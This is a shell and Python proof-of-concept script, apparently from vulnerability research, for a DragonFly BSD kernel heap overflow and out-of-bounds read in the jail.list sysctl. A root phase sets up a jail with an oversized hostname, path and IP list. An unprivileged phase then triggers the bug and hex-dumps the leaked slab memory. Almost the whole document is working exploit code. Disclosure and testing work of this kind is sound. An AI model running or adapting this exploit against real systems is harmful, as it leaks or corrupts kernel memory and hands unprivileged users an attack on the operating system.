DF-0053 / jail_list_overflow.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 | #!/bin/sh # DF-0053 PoC - heap overflow / OOB read in sysctl_jail_list (jail.list) via # unsigned underflow in (jlssize - jlsused) arithmetic. # # sys/kern/kern_jail.c:661 sysctl_jail_list: # jlssize, jlsused : unsigned int (:671) # jlssize = count * 1024 (:688) # kmalloc(jlssize + 1, M_TEMP) (:689) -> rounded up to next slab bucket # ksnprintf(jls + jlsused, (jlssize - jlsused), "%d %s %s", ...) # returns WOULD-BE length (subr_prf.c:549 PCHAR retval++), NOT truncated # length, so jlsused += count (:710) grows past actual writes. # Once jlsused > jlssize: # * (jlssize - jlsused) underflows to ~UINT_MAX (:733, :704) # * ksnprintf writes at jls + jlsused (past the buffer) (:737, :704) # * SYSCTL_OUT(req, jls, jlsused) reads jlsused bytes (:749) # from a (jlssize+1)-byte allocation -> OOB READ of # (jlsused - jlssize) bytes from adjacent slab slack. # # OID: top-level `jail.list` (sys/kern/kern_jail.c:757 # SYSCTL_OID(_jail, OID_AUTO, list, ...)) # -- NOT kern.jail.list as the finding/old-PoC mistakenly said. # Same OID on 6.4.2 and master. Previous test's "kern.jail.list # unknown" was a PoC typo, NOT a version difference. # # Reachability: any unprivileged unjailed user (only check is !jailed, :679). # Precondition: at least one jail whose formatted line (pr_id + ' ' + pr_host # + ' ' + fullpath) exceeds 1024 bytes, i.e. fullpath ~770+ # bytes given MAXHOSTNAMELEN=256. # # This PoC: phase 1 (root) creates ONE jail with maximum hostname (~255 chars) # + deep chroot path (~980 chars) + many IPs. Phase 2 (any user) # triggers jail.list and compares the returned byte count to # jlssize (= count*1024). If OUTPUT_BYTES > JLS_SIZE -> bug fired # (OOB read of OUTPUT_BYTES - JLS_SIZE from slab slack, plus OOB # writes during the IP loop). set -e # ---- phase detection ---- if [ "$(id -u)" -eq 0 ]; then ############################# phase 1 (root) ############################# echo "=== DF-0053 phase 1 (root): provisioning long-path jail ===" base=/tmp/df0053 rm -rf "$base"; mkdir -p "$base" # Build a deeply-nested path ONE LEVEL AT A TIME. `mkdir -p $longpath` # silently truncates on DragonFly (returns success but only creates a # few levels); single-level mkdir() works up to ~1022 chars total. # 60 levels * 16 chars + 11 (base) = 971 chars, leaving room for the # format prefix to push the per-jail line past 1024. p=$base n=0 while [ $n -lt 60 ]; do p=$p/lllllllllllllll # 15 chars + '/' = 16 chars/level n=$((n+1)) mkdir "$p" 2>/dev/null || break done pathlen=$(echo -n "$p" | wc -c) echo "[*] deep chroot path len: $pathlen chars (depth=$((n-1)))" # Build a static sleeper binary (jail needs SOMETHING to exec inside the # chroot, and /bin/sh is absent there). cat > "$base/sleeper.c" <<'C' #include <unistd.h> int main(void){ for(;;) pause(); return 0; } C cc -static -O2 -o "$base/sleeper" "$base/sleeper.c" # Inside the chroot, the binary will be at /s (relative path). cp "$base/sleeper" "$p/s" # Maximum-length hostname (255 chars + NUL = MAXHOSTNAMELEN). host=$(printf 'h%.0s' $(seq 1 255)) # DragonFly jail(8) uses the OLD syntax: # jail path hostname ip1,ip2,... command # Comma-separated IPs; many IPs amplify the IP-loop OOB write inside # sysctl_jail_list. ips= i=1 while [ $i -le 64 ]; do if [ -z "$ips" ]; then ips="10.0.0.$i"; else ips="$ips,10.0.0.$i"; fi i=$((i+1)) done echo "[*] launching jail: host=$host path=$p ips=$ips" # -i prints the JID. background it so the jail persists. /usr/sbin/jail -i "$p" "$host" "$ips" /s \ > "$base/jail.log" 2>&1 & jailpid=$! sleep 1 echo "[*] jail pid=$jailpid; jls output:" /usr/sbin/jls 2>&1 | head -5 || true echo "[*] phase 1 done. Now run as an unprivileged user:" echo " sh $0" echo echo "[*] expected: output_bytes > jlssize (= count*1024 = 1024) on master" exit 0 fi ############################## phase 2 (user) ############################## echo "=== DF-0053 phase 2 (uid=$(id -u)): triggering jail.list ===" # Trigger the sysctl. Use sysctl(2) directly via Python so we can capture # the EXACT byte count (libc sysctl may truncate the user-side read; we # want the kernel-supplied length to compare against jlssize). if command -v python3 >/dev/null 2>&1; then PY=python3 elif command -v python >/dev/null 2>&1; then PY=python else PY= fi if [ -n "$PY" ]; then "$PY" - <<'PY' import sys, ctypes, struct libc = ctypes.CDLL("libc.so", use_errno=True) # sysctl(name, namelen, oldp, oldlenp, newp, newlen) SYS_sysctl = 202 # from sys/sys/syscall.h # Build the OID path "jail.list" by first resolving the string OID. CTL_UNSPEC = 0 CTLTYPE = 0xf CTLFLAG_LOCK = 0x00800000 # Resolve "jail.list" via sysctl(2) with name={0,3} (CTL_QUERY, depth=1?). # Easier: hard-code the canonical integer OID once we know it. We can also # just use the libc-level sysctlnametomib() helper. sysctlnametomib = libc.sysctlnametomib sysctlnametomib.restype = ctypes.c_int sysctlnametomib.argtypes = [ctypes.c_char_p, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_size_t)] mib = (ctypes.c_int * 8)() miblen = ctypes.c_size_t(8) r = sysctlnametomib(b"jail.list", mib, ctypes.byref(miblen)) if r != 0: print("[!] sysctlnametomib failed: errno=%d" % ctypes.get_errno()) sys.exit(1) n = miblen.value name = (ctypes.c_int * n)(*mib[:n]) print("[*] jail.list MIB: %s (len=%d)" % ( ".".join(str(mib[i]) for i in range(n)), n)) # First call: probe length. oldlenp = ctypes.c_size_t(0) rc = libc.sysctl(name, n, None, ctypes.byref(oldlenp), None, 0) print("[*] sysctl probe rc=%d kernel-reported length=%d bytes" % (rc, oldlenp.value)) # Second call: read the data. buf = ctypes.create_string_buffer(b'\x00' * oldlenp.value) got = ctypes.c_size_t(oldlenp.value) rc = libc.sysctl(name, n, buf, ctypes.byref(got), None, 0) data = buf.raw[:got.value] print("[*] sysctl read rc=%d bytes-returned=%d" % (rc, got.value)) # jlssize = count * 1024. We don't know exactly how many jails the kernel # counted, but we can count jail lines (newline-separated). nlines = data.count(b"\n") + 1 if data else 0 jlssize = nlines * 1024 print("[*] jail lines = %d -> jlssize = %d bytes" % (nlines, jlssize)) extra = got.value - jlssize if extra > 0: print("[+] BUG CONFIRMED: kernel returned %d bytes from a %d-byte buffer" " -> OOB read of %d bytes" % (got.value, jlssize, extra)) # Show last 80 bytes to demonstrate the OOB content (often zeros from # slab slack, sometimes stale slab data). tail = data[-80:] hexd = " ".join("%02x" % b for b in tail) asci = "".join(chr(b) if 32 <= b < 127 else "." for b in tail) print("[*] last 80 bytes (hex) :", hexd) print("[*] last 80 bytes (ascii):", asci) else: print("[-] output (%d) <= jlssize (%d); bug did not fire" % (got.value, jlssize)) PY else # No python - fall back to /sbin/sysctl and count bytes. out=$(/sbin/sysctl -n jail.list 2>/dev/null) n=$(printf '%s\n' "$out" | wc -c) echo "[*] jail.list output length: $n bytes (no python to compute jlssize)" fi echo "[*] phase 2 complete" |